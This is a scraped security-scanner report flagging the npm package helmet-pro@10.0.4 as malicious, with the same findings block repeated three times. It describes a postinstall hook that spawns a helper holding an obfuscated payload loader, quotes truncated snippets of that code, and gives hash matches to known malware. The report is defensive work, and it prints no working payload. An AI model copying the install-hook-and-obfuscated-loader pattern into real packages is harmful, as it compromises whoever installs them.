helmet-pro@10.0.4: Malicious npm security report (Block)

Loading npm security reports…

helmet-pro@10.0.4: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

9 flagged

package.jsonView file

•scripts.postinstall = node lib/utils/index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

lib/utils/index.jsView file

2L3: const { spawn } = require('child_process'); L4:

High

Child Process

Package source references child process execution.

lib/utils/index.jsView on unpkg · L2

2Cross-file remote execution chain: lib/utils/index.js spawns lib/utils/smtp-connection/index.js; helper contains network access plus dynamic code execution. L2: L3: const { spawn } = require('child_process'); L4: ... L7: L8: const filePath = path.join(__dirname, 'smtp-connection/index.js'); L9:

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

lib/utils/index.jsView on unpkg · L2

lib/utils/smtp-connection/index.jsView file

1const _0x5537b5=_0x8738;(function(_0x493fe2,_0x292ba9){const _0x104bfa=_0x8738,_0x300b2b=_0x493fe2();while(!![]){try{const _0x2fe9ea=parseInt(_0x104bfa(0x1c6))/0x1+parseInt(_0x104b...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

lib/utils/smtp-connection/index.jsView on unpkg · L1

1const _0x5537b5=_0x8738;(function(_0x493fe2,_0x292ba9){const _0x104bfa=_0x8738,_0x300b2b=_0x493fe2();while(!![]){try{const _0x2fe9ea=parseInt(_0x104bfa(0x1c6))/0x1+parseInt(_0x104b...

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/utils/smtp-connection/index.jsView on unpkg · L1

lib/smtp-pool/index.jsView file

2L3: const EventEmitter = require('events'); L4: const PoolResource = require('./pool-resource');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

lib/smtp-pool/index.jsView on unpkg · L2

lib/smtp-connection/index.jsView file

2L3: const packageInfo = require('../../package.json'); L4: const EventEmitter = require('events').EventEmitter; L5: const net = require('net'); L6: const tls = require('tls'); ... L49: L50: this.id = crypto.randomBytes(8).toString('base64').replace(/\W/g, ''); L51: this.stage = 'init'; ... L69: L70: this.name = this.options.name || this._getHostname(); L71: ... L637: } else {

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/smtp-connection/index.jsView on unpkg · L2

lib/shared/index.jsView file

•matchType = normalized_sha256 matchedPackage = vitest-preview-pro-all@10.0.3 matchedPath = lib/shared/index.js matchedIdentity = npm:dml0ZXN0LXByZXZpZXctcHJvLWFsbA:10.0.3 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/shared/index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = 5a9c8a7008f01f10 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = vitest-preview-pro-all@10.0.3 matchedPath = lib/shared/index.js matchedIdentity = npm:dml0ZXN0LXByZXZpZXctcHJvLWFsbA:10.0.3 similarity = 1.000 shingleOverlap = 34 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

lib/shared/index.jsView on unpkg

Source & flagged code

9 flagged · loading source

package.jsonView file

•scripts.postinstall = node lib/utils/index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

lib/utils/index.jsView file

2L3: const { spawn } = require('child_process'); L4:

High

Child Process

Package source references child process execution.

lib/utils/index.jsView on unpkg · L2

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

lib/utils/index.jsView on unpkg · L2

lib/utils/smtp-connection/index.jsView file

1const _0x5537b5=_0x8738;(function(_0x493fe2,_0x292ba9){const _0x104bfa=_0x8738,_0x300b2b=_0x493fe2();while(!![]){try{const _0x2fe9ea=parseInt(_0x104bfa(0x1c6))/0x1+parseInt(_0x104b...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

lib/utils/smtp-connection/index.jsView on unpkg · L1

1const _0x5537b5=_0x8738;(function(_0x493fe2,_0x292ba9){const _0x104bfa=_0x8738,_0x300b2b=_0x493fe2();while(!![]){try{const _0x2fe9ea=parseInt(_0x104bfa(0x1c6))/0x1+parseInt(_0x104b...

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/utils/smtp-connection/index.jsView on unpkg · L1

lib/smtp-pool/index.jsView file

2L3: const EventEmitter = require('events'); L4: const PoolResource = require('./pool-resource');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

lib/smtp-pool/index.jsView on unpkg · L2

lib/smtp-connection/index.jsView file

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/smtp-connection/index.jsView on unpkg · L2

lib/shared/index.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/shared/index.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

lib/shared/index.jsView on unpkg

Source & flagged code

9 flagged

package.jsonView file

•scripts.postinstall = node lib/utils/index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

lib/utils/index.jsView file

2L3: const { spawn } = require('child_process'); L4:

High

Child Process

Package source references child process execution.

lib/utils/index.jsView on unpkg · L2

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

lib/utils/index.jsView on unpkg · L2

lib/utils/smtp-connection/index.jsView file

1const _0x5537b5=_0x8738;(function(_0x493fe2,_0x292ba9){const _0x104bfa=_0x8738,_0x300b2b=_0x493fe2();while(!![]){try{const _0x2fe9ea=parseInt(_0x104bfa(0x1c6))/0x1+parseInt(_0x104b...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

lib/utils/smtp-connection/index.jsView on unpkg · L1

1const _0x5537b5=_0x8738;(function(_0x493fe2,_0x292ba9){const _0x104bfa=_0x8738,_0x300b2b=_0x493fe2();while(!![]){try{const _0x2fe9ea=parseInt(_0x104bfa(0x1c6))/0x1+parseInt(_0x104b...

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/utils/smtp-connection/index.jsView on unpkg · L1

lib/smtp-pool/index.jsView file

2L3: const EventEmitter = require('events'); L4: const PoolResource = require('./pool-resource');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

lib/smtp-pool/index.jsView on unpkg · L2

lib/smtp-connection/index.jsView file

Low

Weak Crypto

Package source references weak cryptographic algorithms.

lib/smtp-connection/index.jsView on unpkg · L2

lib/shared/index.jsView file

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/shared/index.jsView on unpkg

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

lib/shared/index.jsView on unpkg

helmet-pro@10.0.4

AI Security Review

OSV Corroboration

Decision evidence

Source & flagged code

Source & flagged code

Findings

Source & flagged code